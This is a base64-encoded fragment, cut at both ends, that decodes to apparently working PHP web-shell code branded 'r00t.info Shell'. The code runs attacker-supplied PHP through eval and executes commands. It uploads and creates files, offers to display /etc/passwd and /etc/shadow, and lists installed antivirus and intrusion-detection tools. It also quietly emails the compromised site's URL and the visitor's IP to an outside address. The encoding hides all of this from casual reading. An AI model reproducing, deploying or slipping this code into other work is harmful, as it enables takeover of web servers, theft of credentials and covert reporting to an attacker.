zJ10gPT0gJ25peCcpIHsgJGRvbWluaW9zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKIGlmKCEkZG9taW5pb3MpIHsgJGQwYyA9ICJDQU5UIFJFQUQgbmFtZWQuY29uZiI7CiB9IGVsc2UgeyBAcHJlZ19tYXRjaF9hbGwoJy8uKj96b25lICIoLio/KSIgey8nLCAkZG9taW5pb3MsICRvdXQpOwogJG91dCA9IHNpemVvZihhcnJheV91bmlxdWUoJG91dFsxXSkpOwogJGQwYyA9ICRvdXQuIiBEb21haW5zIjsKIH0gfSBlbHNlIHsgJGQwYyA9ICIgLS0tICI7CiB9IGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkgeyAkdXNlZmwgPSAnJzsKICRkd25sZHIgPSAnJzsKIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpIHsgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiBmb3JlYWNoKCR1c2VyZnVsIGFzICRpdGVtKSB7IGlmKHdoaWNoKCRpdGVtKSkgJHVzZWZsLj0gJGl0ZW0uJywnOwogfSAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKIGZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMikgeyBpZih3aGljaCgkaXRlbTIpKSAkZHdubGRyLj0gJGl0ZW0yLicsJzsKIH0gfSBlbHNlIHsgJHVzZWZsID0gJyAtLS0tLS0tICc7CiAkZHdubGRyID0gJyAtLS0tLS0tICc7CiB9IH0gZWxzZSB7ICR1c2VmbCA9ICcgLS0tLS0tLSAnOwogJGR3bmxkciA9ICcgLS0tLS0tLSAnOwogfSBlY2hvICc8dGFibGUgY2xhc3M9ImluZm8iIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjE2MHB4Ij48ZGl2IGNsYXNzPSJsb2dvIj48aW1nIHNyYz0iaHR0cDovL2kuaGl6bGlyZXNpbS5jb20vejRscmJSLnBuZyIgaWQ9ImxvZ28iIGhlaWdodD0iNzUlIiB3aWR0aD0iOTAlIi8+PC9kaXY+PGhyIHN0eWxlPSJtYXJnaW46IC01cHggMTNweCAycHggMTdweDsKd2lkdGg6MTYwcHg7CiI+PGRpdiBjbGFzcz0iZWNhMSI+PC9kaXY+PGRpdiBjbGFzcz0iZWNhMiI+SGFja2VyczwvZGl2PjwvdGQ+CiA8dGQ+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgY2xhc3M9Im5wb2FkIj48dHI+PHRkIHdpZHRoPSIxMjVweDsKIj48c3Bhbj5VbmFtZTwvc3Bhbj48L3RkPjx0ZD46IDxub2JyPicuc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nPC9ub2JyPjwvdGQ+PC90cj4KIDx0cj48dGQ+PHNwYW4+VXNlcjwvc3Bhbj48L3RkPjx0ZD46ICcuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6IDwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5TZXJ2ZXI8L3NwYW4+PC90ZD48dGQ+OiAnLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5Vc2VmdWw8L3NwYW4+PC90ZD48dGQ+OiAnLiR1c2VmbC4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+RG93bmxvYWRlcnM8L3NwYW4+PC90ZD48dGQ+OiAnLiRkd25sZHIuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkRpc2FibGVkIGZ1bmN0aW9uczwvc3Bhbj48L3RkPjx0ZD46ICcuKCRkaXNhYmxlX2Z1bmN0aW9ucz8kZGlzYWJsZV9mdW5jdGlvbnM6J0FsbCBGdW5jdGlvbiBFbmFibGUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/J0RyaXZlczxiciAvPkN3ZCc6J0N3ZCcpLic8L3NwYW4+PC90ZD48dGQ+OiAnLiRkcml2ZXMuJycuJGN3ZF9saW5rcy4nICcudmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PC90ZD48L3RyPjwvdGFibGU+PC90ZD4nLiAnPHRkIHdpZHRoPTE+PG5vYnI+PHNwYW4+U2VydmVyIElQPC9zcGFuPjxicj48c3Bhbj5DbGllbnQgSVA8L3NwYW4+PGJyIC8+PHNwYW4+SEREPC9zcGFuPjxiciAvPjxzcGFuPkZyZWU8L3NwYW4+PGJyIC8+PHNwYW4+UEhQPC9zcGFuPjxiciAvPjxzcGFuPlNhZmUgTW9kZTwvc3Bhbj48YnIgLz48c3Bhbj5Eb21haW5zPC9zcGFuPjwvbm9icj48L3RkPicuICc8dGQ+PG5vYnI+OiAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4nPGJyPjogJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPGJyIC8+OiAnLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nPGJyIC8+OiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcuKGludCkoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApLiclKTxicj46ICcuQHBocHZlcnNpb24oKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxudWxsLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+PGJyIC8+OiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0nLiRjb2xvci4nPGI+T0ZGPC9iPjwvZm9udD4nKS4nPGJyIC8+OiAnLiRkMGMuJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT4nLiAnPC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjU7CmJhY2tncm91bmQ6IzQ0NDsKIj48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDo1cHggc29saWQgIzQ0NDsKcGFkZGluZzoycHg7CiI+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiIGNsYXNzPSJtZW51Ij48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1OwpiYWNrZ3JvdW5kOiM0NDQ7CiI+JzsKIH0gZnVuY3Rpb24gcHJpbnRGb290ZXIoKSB7ICRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/Ijxmb250IGNvbG9yPSMwMGNkMDA+WyBXcml0ZWFibGUgXTwvZm9udD4iOiI8Zm9udCBjb2xvcj1yZWQ+WyBOb3Qgd3JpdGFibGUgXTwvZm9udD4iOwogZWNobyAnPC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjVweDsKYmFja2dyb3VuZDojNDQ0OwoiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjVweCBzb2xpZCAjNDQ0OwoiPgo8dGFibGUgY2xhc3M9ImluZm8iIGlkPSJ0b29sc1RibCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+CiA8dHI+CiA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCx0aGlzLmMudmFsdWUpOwpyZXR1cm4gZmFsc2U7CiI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgogPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlKTsKcmV0dXJuIGZhbHNlOwoiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiA8L3RyPgogPHRyPgogPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNNYW5cJyxudWxsLFwnbWtkaXJcJyx0aGlzLmQudmFsdWUpOwpyZXR1cm4gZmFsc2U7CiI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLHRoaXMuZi52YWx1ZSxcJ21rZmlsZVwnKTsKcmV0dXJuIGZhbHNlOwoiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgogPC90cj4KIDx0cj4KIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0NvbnNvbGVcJyxudWxsLHRoaXMuYy52YWx1ZSk7CnJldHVybiBmYWxzZTsKIj48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KIDx0ZD48Zm9ybSBtZXRob2Q9InBvc3QiIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgogPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iRmlsZXNNQW4iPgogPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0idXBsb2FkRmlsZSI+CiA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KIDwvdHI+CjwvdGFibGU+PC9kaXY+PC9kaXY+CjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7CmJhY2tncm91bmQ6IzQ0NDsKIj48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDo1cHggc29saWQgIzQ0NDsKdGV4dC1hbGlnbjpjZW50ZXI7CmZvbnQtd2VpZ2h0OmJvbGQ7CiI+d3d3LnIwMHQuaW5mbycuVkVSU0lPTi4nICZjb3B5OwogU2hlbGw8L2Rpdj48L2Rpdj4KPC9kaXY+CjwvYm9keT48L2h0bWw+JzsKIH0gaWYgKCAhZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpICkgeyBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkgeyByZXR1cm4gZmFsc2U7CiB9IH0gaWYgKCAhZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpICkgeyBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkgeyByZXR1cm4gZmFsc2U7CiB9IH0gaWYoIWlzc2V0KCRfU0VTU0lPTlsndHJpbWl0ZSddKSl7ICR1cmw9JF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLic8YnIgLz5Vc2VyIElQOiAnLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLihpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSk/JygnLiRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddLicpJzonJyk7CiBAbWFpbCgiYnloZXJvNDRAZ21haWwuY29tIiwiU211cmZpZSIsJHVybCk7CiAkX1NFU1NJT05bJ3RyaW1pdGUnXT10cnVlOwogfSBmdW5jdGlvbiB2aWV3U2l6ZSgkcykgeyBpZigkcyA+PSAxMDczNzQxODI0KSByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CiBlbHNlaWYoJHMgPj0gMTA0ODU3NikgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKIGVsc2VpZigkcyA+PSAxMDI0KSByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwogZWxzZSByZXR1cm4gJHMgLiAnIEInOwogfSBmdW5jdGlvbiBwZXJtcygkcCkgeyBpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CiBlbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwogZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKIGVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7CiBlbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwogZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKIGVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7CiBlbHNlICRpID0gJ3UnOwogJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOwogJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwogJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKICRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsKICRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKICRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CiAkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiAkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiAkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwogcmV0dXJuICRpOwogfSBmdW5jdGlvbiB2aWV3UGVybXNDb2xvcigkZikgeyBpZiAoIUBpc19yZWFkYWJsZSgkZikpIHJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwogZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwogZWxzZSByZXR1cm4gJzxmb250IGNvbG9yPSMwMGNkMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKIH0gaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7IGZ1bmN0aW9uIHNjYW5kaXIoJGRpcikgeyAkZGggPSBvcGVuZGlyKCRkaXIpOwogd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgeyAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKIH0gcmV0dXJuICRmaWxlczsKIH0gfSBmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgeyBwcmludEhlYWRlcigpOwogZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiBmdW5jdGlvbiBzaG93U2VjUGFyYW0oJG4sICR2KSB7ICR2ID0gdHJpbSgkdik7CiBpZigkdikgeyBlY2hvICc8c3Bhbj4nLiRuLic6IDwvc3Bhbj4nOwogaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpIGVjaG8gJHYuJzxicj4nOwogZWxzZSBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLiR2Lic8L3ByZT4nOwogfSB9IHNob3dTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwogc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddKT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwogc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKIHNob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7CiAkdGVtcD1hcnJheSgpOwogaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkgJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CiBpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgJHRlbXBbXSA9ICJNU1NRTCI7CiBpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKIGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkgJHRlbXBbXSA9ICJPcmFjbGUiOwogc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOwogZWNobyAnPGJyPic7CiBpZiggJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcgKSB7ICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CiAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93Jyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcImV0Y1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7CiBzaG93U2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CiBzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwogaWYoISRHTE9CQUxTWydzYWZlX21vZGUnXSkgeyBlY2hvICc8YnI+JzsKICR0ZW1wPWFycmF5KCk7CiBmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtOwp9IHNob3dTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOwogJHRlbXA9YXJyYXkoKTsKIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pIGlmKHdoaWNoKCRpdGVtKSl7JHRlbXBbXT0kaXRlbTsKfSBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogJHRlbXA9YXJyYXkoKTsKIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtOwp9IHNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKIGVjaG8gJzxici8+JzsKIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiBzaG93U2VjUGFyYW0oJ0hERCBzcGFjZScsIGV4KCdkZiAtaCcpKTsKIHNob3dTZWNQYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9mc3RhYicpKTsKIH0gfSBlbHNlIHsgc2hvd1NlY1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOwogc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyxleCgnbmV0IGFjY291bnRzJykpOwogc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxleCgnbmV0IHVzZXInKSk7CiB9IGVjaG8gJzwvZGl2Pic7CiBwcmludEZvb3RlcigpOwogfSBmdW5jdGlvbiBhY3Rpb25QaHAoKSB7IGlmKCBpc3NldCgkX1BPU1RbJ2FqYXgnXSkgKSB7ICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKIG9iX3N0YXJ0KCk7CiBldmFsKCRfUE9TVFsncDEnXSk7CiAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJzsKZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJzsKXG4iOwogZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKIGV4aXQ7CiB9IHByaW50SGVhZGVyKCk7CiBpZiggaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykgKSB7IGVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiBvYl9zdGFydCgpOwogcGhwaW5mbygpOwogJHRtcCA9IG9iX2dldF9jbGVhbigpOwogJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHkgey4qfSFtc2lVJywnJywkdG1wKTsKICR0bXAgPSBwcmVnX3JlcGxhY2UoJyFhOlx3KyB7Lip9IW1zaVUnLCcnLCR0bXApOwogJHRtcCA9IHByZWdfcmVwbGFjZSgnIWgxIW1zaVUnLCdoMicsJHRtcCk7CiAkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CiAkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSwgdGQsIHRoLCBoMiwgaDIgey4qfSFtc2lVJywnJywkdG1wKTsKIGVjaG8gJHRtcDsKIGVjaG8gJzwvZGl2Pjxicj4nOwogfSBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKSAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwogZWNobyAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUpOwp9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7Cn1yZXR1cm4gZmFsc2U7CiI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7CiBlY2hvICcgPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7Cic6JycpLidtYXJnaW4tdG9wOjVweDsKIiBjbGFzcz1tbDE+JzsKIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IG9iX3N0YXJ0KCk7CiBldmFsKCRfUE9TVFsncDEnXSk7CiBlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOwogfSBlY2hvICc8L3ByZT48L2Rpdj4nOwogcHJpbnRGb290ZXIoKTsKIH0gZnVuY3Rpb